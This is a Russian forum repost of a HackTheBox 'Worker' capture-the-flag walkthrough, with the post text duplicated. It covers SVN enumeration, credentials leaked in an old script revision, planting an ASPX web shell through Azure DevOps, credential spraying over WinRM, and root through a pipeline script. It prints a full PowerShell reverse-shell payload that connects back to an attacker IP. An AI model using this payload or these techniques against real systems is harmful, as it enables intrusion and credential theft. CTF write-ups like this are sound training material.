[Информационная безопасность, CTF] HackTheBox. Прохождение Worker. Работаем с SVN. Используем Azure DevOps для захвата хоста
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информация Организационная информацияСпециально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:- PWN;- криптография (Crypto);- cетевые технологии (Network);- реверс (Reverse Engineering); - стеганография (Stegano);- поиск и эксплуатация WEB-уязвимостей;Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.ReconДанная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.
10.10.10.192 worker.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.
Давайте обратимся к службе svn. Subversion - это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.
svn info svn://worker.htb
И мы знаем базовую ветку, автора и что мы можем узнать последние пять изменений. Entry PointПосмотрим список файлов в данной ветке.
svn list svn://worker.htb
Имеем директорию и файл. Скачиваем все к себе на хост.
svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt
И из последнего файла узнаем новый поддомен.
Добавим его в /etc/hosts.
10.10.10.203 devops.worker.htb
Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.
svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb
Применим изменения, чтобы получить данный файл.
svn up -r 2 deploy.ps1
И в данном powershell скрипте обнаружим учетные данные.
С найденными учетными данными получается аутентифицироваться на сайте.
USERОбратим внимание на репозиторий и то, что он содержит код.
Используем название репозитория как субдомен, занеся его в /etc/hosts.
10.10.10.203 spectral.worker.htb
И нас встречает сайт.
Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной.
И после применения всех изменений, обратимся к нашему файлу.
Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()
И получаем шелл.
Немного осмотревшись, находим директории с конфигурациями.
И в файле passwd есть много пар логинов и паролей.
А по открытым портам определяем работающую службу WinRM.
Давайте сделаем списки пользователей и паролей.
cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt
А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.
cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb
И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.
ROOTС этими же учетными данными мы возвращаемся на наш сайт.
Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.
В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.
И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Google API] Как я воровал данные с пользовательских аккаунтов в Google (перевод)
- [Информационная безопасность, Администрирование доменных имен] Неизвестные украли домен Perl.com
- [Информационная безопасность] ТОП-3 ИБ-событий недели по версии Jet CSIRT
- [Информационная безопасность, Разработка веб-сайтов, Анализ и проектирование систем, .NET] RBAC? ABAC?.. PERM! Новый подход к авторизации в облачных веб-службах и приложениях
- [Информационная безопасность] Как мы провели Hack and Learn Initiative CTF
- [Информационная безопасность, Виртуализация, Облачные сервисы] Персональные данные в облаках: декларация соответствия или аттестат
- [Информационная безопасность, Мессенджеры, Законодательство в IT] Иран заблокировал Signal
- [SQL, Визуализация данных] 14 практических советов по использованию Tableau
- [Информационная безопасность, Сетевые технологии, Хранение данных, IT-компании] Тим Бернерс-Ли предлагает хранить персональные данные в подах
- [Информационная безопасность, Реверс-инжиниринг, Исследования и прогнозы в IT, IT-компании] Старый конь борозды не испортит: как стилер Pony крадет данные и где их потом искать
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_ctf, #_ralf_rt, #_redteam, #_pentest, #_pentesting, #_hackthebox, #_hack, #_red_team, #_ctf, #_azure, #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_ctf
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 14:22
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информация Организационная информацияСпециально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:- PWN;- криптография (Crypto);- cетевые технологии (Network);- реверс (Reverse Engineering); - стеганография (Stegano);- поиск и эксплуатация WEB-уязвимостей;Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.ReconДанная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts. 10.10.10.192 worker.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может. Давайте обратимся к службе svn. Subversion - это свободная централизованная система управления версиями. Давайте полцчим базовую информацию. svn info svn://worker.htb
И мы знаем базовую ветку, автора и что мы можем узнать последние пять изменений. Entry PointПосмотрим список файлов в данной ветке. svn list svn://worker.htb
Имеем директорию и файл. Скачиваем все к себе на хост. svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt
И из последнего файла узнаем новый поддомен. Добавим его в /etc/hosts. 10.10.10.203 devops.worker.htb
svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb
Применим изменения, чтобы получить данный файл. svn up -r 2 deploy.ps1
И в данном powershell скрипте обнаружим учетные данные. С найденными учетными данными получается аутентифицироваться на сайте. USERОбратим внимание на репозиторий и то, что он содержит код. Используем название репозитория как субдомен, занеся его в /etc/hosts. 10.10.10.203 spectral.worker.htb
Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадим новую ветку, добавим файл, добавим задачу, и сделаем ветку основной. И после применения всех изменений, обратимся к нашему файлу. Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект. $client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() И получаем шелл. Немного осмотревшись, находим директории с конфигурациями. И в файле passwd есть много пар логинов и паролей. А по открытым портам определяем работающую службу WinRM. Давайте сделаем списки пользователей и паролей. cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb
И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг. ROOTС этими же учетными данными мы возвращаемся на наш сайт. Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это. В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл. И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями. =========== Источник: habr.com =========== Похожие новости:
Информационная безопасность ), #_ctf |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 14:22
Часовой пояс: UTC + 5